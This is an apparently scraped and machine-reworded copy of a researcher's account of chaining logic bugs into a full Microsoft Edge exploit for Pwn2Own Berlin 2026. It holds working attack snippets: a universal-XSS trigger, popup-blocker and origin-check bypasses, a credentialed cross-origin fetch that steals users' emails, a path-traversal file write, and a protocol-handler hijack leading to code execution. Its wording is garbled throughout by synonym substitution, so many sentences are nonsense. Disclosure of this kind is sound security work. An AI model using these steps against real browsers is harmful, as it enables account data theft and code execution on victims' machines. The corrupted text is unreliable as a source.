Forging a Microsoft Edge Full Chain with Logic Bugs Only

Hacker News by 18 min read 126x views
Forging a Microsoft Edge Full Chain with Logic Bugs Only

Share Post

I think I should motionless dump several of my activity formerly in a while, equal although it feels akin small and small group really sit downward and peruse articles these days (or perchance now they all depart it to their agents XD). Anyway, this is what I built for Pwn2Own Berlin 2026 — a entirely handmade, logic-only Microsoft Edge Full Chain, alongside no recollection corruption, and no AI at all! 🔥

Confirmed! Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to accomplish a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points. Full win! #Pwn2Own #P2OBerlin https://t.co/vJaIpGG4cD

— TrendAI Zero Day Initiative (@thezdi) May 14, 2026

The entire sequence is made up of five bugs and two Windows features. I have additionally shared the entire bug-hunting and chaining procedure at this year’s HITCON and Hexacon, affirmative several fun stories alongside the way. You can inspect the slides here!

Also, perchance everyone thinks LLMs can already pwn everything in the AI era, so item made entirely by hand somehow feels a bit additional precious. That power additionally be why this sequence was nominated for this year’s Pwnie Awards and won the Epic Achievement award. 🎉

pwnie-award-2026

So anywhere do we commencement alongside a logic-only complete chain? Well, since it’s a “browser,” let’s commencement by looking at how “browsing” (or what Chromium calls “navigation”) works. I won’t go into too much item in this post, since I think in this era, you can fair ask your agents to inhabit in the particulars :)

But I’d motionless propose study “Life of a Navigation“ from Chrome University if you desire to get the complete picture.

The Forgotten Navigation Throttles

While I was strolling through the Chromium Navigation flow, item called “Navigation Throttles” caught my attention. They live in the Browser Process, and obstruct all navigation requests initiated by either the Browser or the Renderer. Maybe it’s uncomplicated to say this in hindsight, but out of the 3,000+ CVEs Google Chrome has fixed complete the former five years, there are lone small than 20 connected to them. So I conjecture this is additionally a border not too many group pay notice to.

Anyway, I started digging into the Navigation Throttles, and checked how Google Chrome and Microsoft Edge implemented them. And during going through the code, I established that Edge has a throttle called EdgeCAGuidanceNavigationThrottle for its endeavor Entra ID characteristic (the CA current stands for Conditional Access). The intent of this throttle is to guide users to the correct User Profile whenever Edge detects them signing in alongside a activity document on a Microsoft website. And to blaze this throttle, you have to commencement a navigation from a particular Microsoft-owned origin, specified as login.live.com:

1
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`

And formerly the throttle is fired, Edge would difference the email of the current User Profile alongside ?email={email}. If they don’t match, Edge pops up a dialog directing you to toggle accounts.

image


But if they do match, Edge would afterward catch the URL you were initially heading to from switch_profile={url}, and initiate a new navigation alongside Chromium’s inner Navigation API:

1
2
3
4
5
NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;

Navigate(&params);

So basically, the throttle cancels the first navigation whenever the mark URL matches a particular inner format, and afterward launches a new one alongside the URL from the attacker-controlled Query String, if the conditions are met. Since this new navigation is initiated by the Browser Process, in theory we can do a few things we couldn’t do before, specified as jumping to normally prohibited pages akin edge://settings or devtools://..., or equal pseudo-schemes akin javascript:alert(origin).

Though the JavaScript pseudo-scheme appears akin a mighty primitive, you motionless need to get the Execution Context on login.live.com to blaze the throttle in the archetypal place. So being capable to jump to javascript: doesn’t really provision you any additional capability. At most, it’s fair akin a Self-XSS, or a way to rotate an Open Redirect there into XSS. Either way, you’re motionless lone executing JavaScript in the identical login.live.com context.

Honestly, I didn’t obtain this bug too earnestly at archetypal glance. To me, it was fair a stronger Open Redirect that could jump to a few additional Browser-Level Schemes, and motionless needed to be chained alongside another bugs. So the bug fair sat in my notes for weeks… 🤦‍♂️

Sourceless Navigation: A New UXSS Primitive

The turning item was whenever I was going complete the Chromium architecture one day and started thinking: The throttle is handled in the Browser Process, so the new navigation is initiated from the browser as well. However, the leaf we fired the throttle from, login.live.com, lives in the Renderer, and during examining the logic, I couldn’t discover any code tying the Browser and Renderer together. So… CURRENT_TAB refers to which tab, exactly?

To discover this out, I ran a quick test and added a postpone to the first trigger:

1
2
3
setTimeout(function(){
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)

And during the delay, we manually switched the Edge to a new tab to see what would happen, and…


Boom! We got a UXSS on google.com, and that’s additionally the archetypal bug of the entire chain. To completely comprehend the UXSS base cause, we dug into Chromium’s origin code. We established that if Navigate() is called without specifying the source_contents (the Renderer origin to tie to), Chromium would use the current energetic tab as the Renderer origin automatically.

↓ Path: chromium/chrome/browser/ui/browser_navigator.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {







if (!params->source_contents && params->browser) {
params->source_contents = params->browser
->GetBrowserForMigrationOnly()
->tab_strip_model()
->GetActiveWebContents();
}






if (!contents_to_navigate_or_insert) {
DCHECK(!params->url.is_empty());
if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {

} else {


DCHECK(params->source_contents);
contents_to_navigate_or_insert = params->source_contents;
}



if (!HandleNonNavigationAboutURL(
params->url, contents_to_navigate_or_insert->GetBrowserContext())) {


NavigationController::LoadURLParams load_url_params =
LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
params);
navigation_handle =
contents_to_navigate_or_insert->GetController().LoadURLWithParams(
load_url_params);
}

}

Though the code way requires params.disposition to be CURRENT_TAB and params.source_contents to be NULL, luckily, those are the defaults, so equal Chromium’s own example code gets this wrong. I conjecture this should figure as a new UXSS assault surface!

The 0-Click Challenges

The UXSS primitive we fair got appears great, but firing that motionless comes alongside fairly a few challenges in practice. Here we catalog four we faced during weaponizing the UXSS, and how we cracked them alongside additional and additional bugs 😉.

1. The Throttle Must Be Fired from a Trusted Origin

The archetypal challenge, as we mentioned earlier: this UXSS have to be fired from certain Microsoft sites. Though we could motionless discover an XSS there to create that happen, that appears akin a achy job, so we’d keep it as a final resort. Instead, we decided to see if there was any low-hanging create in the base inspect first.

1
2
3
4
5
content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();

if ( !IsSupportedLoginUrl(last_committed_url) )
return content::NavigationThrottle::CANCEL_AND_IGNORE;

We established that EdgeCAGuidanceNavigationThrottle uses GetLastCommittedURL() to recover the base that fired the navigation, and afterward inspect it. At archetypal glance, this looks akin the accurate way to do the validation. But obtain a second look, and you’ll notice Microsoft seems to have forgotten that a navigation can arrive not fair from the current WebContents, but additionally from another window… So a uncomplicated window.open(...) is adequate to bypass it!

↓ You can run this on any website to blaze the throttle

1
2
popup = window.open('https://login.live.com/', '_blank')
popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`

So far, we can bypass the base inspect alongside a cross-window navigation. However, contemporary browsers don’t let webpages open new windows that effortlessly nowadays, so current comes another new problem: the Popup Blocker would obstacle window.open(...) by default.

popup-blocker

To expert this, we kept reversing Microsoft Edge. And we established Microsoft, perchance for inner use, made its own hardcoded whitelist for popups… So a popup akin the following would normally be blocked as expected:

1
popup = window.open('https://malicious.tld', '_blank') 

But if you toggle the URL for the whitelisted one… the opening fair appears. And afterward recall to navigate it rear to the first site, and you’ve bypassed the Popup Blocker!

1
2
popup = window.open('about:blank#quickAuthPopup', '_blank') 
popup.location = 'https://malicious.tld'

Thank you, Microsoft!

thanks-microsoft

3. The Need for a Signed-In Profile

Now that we can blaze EdgeCAGuidanceNavigationThrottle from anywhere we want, the next stage is to get former the Conditional Access checks. The code archetypal requires Microsoft Edge to already have a signed-in User Profile, and afterward checks if ?email={email} matches the profile’s email. Both conditions have to be met before we attain the sourceless, browser-initiated navigation to eventually trigger our UXSS primitive.

1
2
3
4
5
6
7
8
9
10
Profile* current_profile = Profile::FromBrowserContext(
web_contents->GetBrowserContext());

std::string email;
net::GetValueForKeyInQuery(target_url, kEmailQueryKey, &email);

const base::FilePath target_profile_path = GetPathOfProfileWithEmail(email);
if (current_profile->GetPath() != target_profile_path) {
profiles::SwitchToProfile(target_profile_path, false, BindOnce(…));
}

However, since we can’t assume the mark surroundings has a signed-in overview in advance, we motionless need to discover a way to create the assault activity equal if it doesn’t. While exploring Microsoft Edge, we came throughout a awesome characteristic called “OneAuth”. The characteristic lets any Edge WebView use automatically sign in alongside your current MSA credentials whenever visiting Microsoft-owned sites. And it turns out that starting alongside 25H2, Windows OOBE requires you to sign in alongside an MSA (unless you use the local-account workaround). So equal if you’ve never created a User Profile in the browser, fair visiting www.microsoft.com is adequate for Edge to create one and sign you in automatically.

Thanks again, Microsoft!


4. The Need for Prior Knowledge of the Login Email

With the sign-in matter cracked, the final difficulty is to get the victim’s email in advance. Of course, we could try several social engineering, or keep reversing Microsoft Edge to discover another bug that leaks that for us. But since the automatic sign-in already sets multiple Microsoft cookies, we idea Web Hacking would be an easier way to pilfer the email. So we fired up Burp Suite and started looking for web vulnerabilities.

We spent a few hours and established multiple XSS bugs on Microsoft sites. While poking around, I noticed that assets.msn.com, which is embedded in edge://new-tab-page-online, returns the currently signed-in user’s email. And equal additional interesting, whenever I checked the reply header, the location seemed to have a CORS misconfiguration…

cors-misconfig

So alongside a uncomplicated fetch(...) alongside credentials included, you can effortlessly catch any Microsoft Edge user’s email from any website:

1
2
3
4
5
6
7
8
9
10
11
resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
method: 'GET',
mode: 'cors',
credentials: 'include',
referrerPolicy: 'no-referrer',
headers: {
'Accept': 'application/json'
}
})
body = await resp.json()
console.log( body.value[0].email )

Putting It All Together!

So far, to create this primitive work, we’ve chained together:

  • A Trusted Origin bypass caused by a missing cross-window Opener check
  • A Popup Blocker bypass caused by a hardcoded whitelist
  • A OneAuth characteristic that automatically signs you in
  • A CORS misconfiguration that lets us pilfer the signed-in user’s email

Now we can eventually trigger the UXSS without a sole click! And equal better, since this UXSS is initiated from the Browser Process (HandleRendererDebugURL in Mojo, if you’re interested), it can disregard any CSP entirely. That method we can run JavaScript on google.com, facebook.com, icloud.com, or any website we want!

So we have a Universal XSS. Does it average that we can do any we want? If we’re talking concerning Web Security, afterward yes. But our goal current is to get ACE (Arbitrary Code Execution), so UXSS solitary is far from enough. And we motionless need to discover a way to interrupt out of the Browser Sandbox to rotate this UXSS into code execution.

The archetypal and most straightforward idea that came to my intellect was: since we can run JavaScript on any website, or additional precisely, any origin, why not fair leverage privileged WebUI pages akin edge://settings or edge://downloads to get ACE?

This naive method was of way already mitigated by the Chromium developers. In the Renderer’s Mojo handler, there’s an additional check: if the base belongs to among the following privileged WebUIs, the Renderer merely ignores the JavaScript URL.

1
2
3
4
5
6
7
8
9
10
11
edge://
chrome-extension://
chrome://
chrome-untrusted://
chrome-distiller://
chrome-error://
chrome-native://
chrome-search://
devtools://

// more...

↓ Path: chromium/third_party/blink/renderer/core/frame/local_frame.cc

1
2
3
4
5
6
7
8
9
10
11
12
void LocalFrame::LoadJavaScriptURL(const KURL& url) {


if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
GetSecurityContext()
->GetSecurityOrigin()
->GetOriginOrPrecursorOriginIfOpaque()
->Protocol())) {
return;
}

}

↓ Path: chromium/third_party/blink/renderer/platform/weborigin/scheme_registry.cc

1
2
3
4
5
6
7
8
bool SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
const String& scheme) {
DCHECK_EQ(scheme, scheme.LowerASCII());
if (scheme.empty())
return false;
return GetURLSchemesRegistry().not_allowing_javascript_urls_schemes.Contains(
scheme);
}

Basically, Chromium has put all privileged WebUI you can think of on the not_allowing_javascript_urls_schemes blacklist. So at that point, I motionless got stuck for a lengthy while. 😖

Arbitrary File Write via Immersive Reader

However, as we continued exploring Microsoft Edge, we established that Edge had its own Reading Mode called Immersive Reader. And dissimilar Chrome’s built-in Reading Mode, Immersive Reader seems to have been forked from Chromium first on, alongside Microsoft construction on top of it. So alternatively of the old chrome-distiller:// or the blacklisted chrome-untrusted://, Edge uses a tradition read:// scheme. And Microsoft seems to have forgotten to add this scheme to the blacklist as well, so our UXSS plant on this privileged WebUI :)

Starting from this privileged WebUI, we can admission many of native C++ objects through JavaScript. And one of them called chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() looked particularly engaging to me. We tried it out, and established that the function takes two parameters, a filename and a JSON string:

↓ We ran this on read://https_orange.tw/?url=https://orange.tw

1
2
3
4
5
6
7
8
9
chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
'LOL.ZIP',
'{
"logFiles": {
"ORANGE": "AAAAAAAA"
},
"deviceInfo": {1337: 1337}
}'
)

While playing alongside it, we observed that Microsoft Edge would archetypal create a impermanent directory and compose AAAAAAAA to the document ORANGE.json. It would afterward group the entire directory into LOL.ZIP, upload it to a Microsoft server, and spotless everything up afterward. Of course, you’d desire to try ../… Yes, it does let you escape the impermanent folder. But that .json expansion is motionless a bit annoying. Maybe you’re additionally wondering if a NULL Byte could get rid of it… Of way it can! So now we have an arbitrary document compose that can authority the two the filename and the content, and we can overwrite any document anyplace we want!

Thank you again and again, Microsoft!

a_slide1_smooth


Overwriting protocols.json to Auto-Launch Protocol Handlers

Now, we’ve got nearly all the pieces. The final stage is figuring out how to rotate a browser-level arbitrary document compose into ACE to complete the chain. We observed that Microsoft Edge would do several engaging side-loading during initializing, specified as study a bunch of config records or loading DLLs from a writable folder.

So the DLL side-loading appears juicy. However, since our document compose is wrapped in JSON, the satisfied have to be a valid UTF-8 string. And since Microsoft Edge is a 64-bit process, we’d have to autumn a 64-bit DLL, too. After spending several period operating on this, we established that we couldn’t build a valid 64-bit PE header that met the UTF-8 necessity in any case, so we gave up on DLL side-loading.

We ended up solving this in a small apparent way. We established that furthermore OneAuth, Edge additionally loads a bunch of components during initializing, and one of them is “AutoLaunchProtocolsComponent”. The component would peruse a configuration document called protocols.json from a directory we can compose to, and that document defines which origins are allowed to initiate which URL protocol handlers. So by overwriting the file, we can initiate any protocol handler from any origin.

↓ Path: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"allow": [
{
"origins": [
"https://.get.microsoft.com",
"https://.apps.microsoft.com"
],
"protocol": "ms-windows-store"
},
{
"origins": [
"https://.onedrive.com",
"https://.onedrive.live.com",
"https://sharepoint.com"
],
"protocol": "ms-word"
},

],
"warn": [

],
"block": [

]
}

As for how do we get Microsoft Edge to re-initialize? Just use our before browser-initiated navigation to jump to edge://restart! :)

From telnet:// to Code Execution!

Here we chose telnet:// to get code execution. On Windows, the telnet handler would try to invoke telnet.exe, but the binary isn’t shipped by default, so Windows goes looking for it in the directories listed in the PATH surroundings variable. And one of those directories fair happens to be writable by us…

1
2
3
4
5
6
C:\WINDOWS\system32
C:\WINDOWS
C:\WINDOWS\System32\Wbem
C:\WINDOWS\System32\WindowsPowerShell\v1.0
C:\WINDOWS\System32\OpenSSH
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps

So by merely dropping a modified protocols.json and a 32-bit small PE, we got ACE. The entire utilize is small than 100 lines of code. The restart isn’t really necessary in a genuine attack, lone for Pwn2Own. Let’s inspect out the demo! 🔥


From zero cognition alongside contemporary browser exploitation to completing the complete chain, the entire investigation took me two complete months, alongside no LLMs/AI engaged at all. But why, you power ask? Perhaps since it appears cool, or perchance it was additionally fair fine timing — I lone started using coding agents akin Codex and Claude Code about March this year, and by then, I’d already established all the bugs and done the difficult part ¯\_(ツ)_/¯

So what’s the difficult part? For recollection corruption, it’s frequently the exploitation. But we’re playing alongside logic bugs, anywhere the difficult part is finding them, and formerly you discover them all, chaining is the easiest part. So that’s additionally why I kept the entire utilize AI-free.

Apart from that, I additionally see the UXSS primitive as a new assault surface, and concur that in the AI era, “Attack Surface is the new 0day“. I wanted to examine this aureate quarry additional before sharing it alongside the AI giants. That’s another logic why I decided not to use AI on this chain.

Of course, I’m not several old-fashioned guy who refuses to try new things, either. Outside of this chain, I’m additionally tokenmaxxing and addicted to AI. I accept formerly you’ve tasted how convenient LLMs are, no one would desire to go rear to hunting bugs by hand. That’s additionally the future, I think.

I’m additionally not that fearful of being replaced by AI. I’d fairly say it’s exactly since of AI, I eventually have adequate period to complete all the chill material that’s been sitting on my TODO list… akin the Windows RCE I fair reported, flipping the sequence to pop Microsoft Edge from calc.exe, or porting this logic-only complete sequence to Google Chrome (almost there ><). I’ll additionally display several advancement at CODE BLUE in Japan next month. Stay tuned! 😉

So alternatively of worrying concerning how low the bar for vuln investigation can go, why not get enthusiastic concerning how elevated AI can obtain us? What fun can we have, what equal cooler hacks can we build, and what unattainable things can we create happen…?


Never Stop Exploiting!

Other Article Hacker News
↑
Close Right Ads
Close Left Ads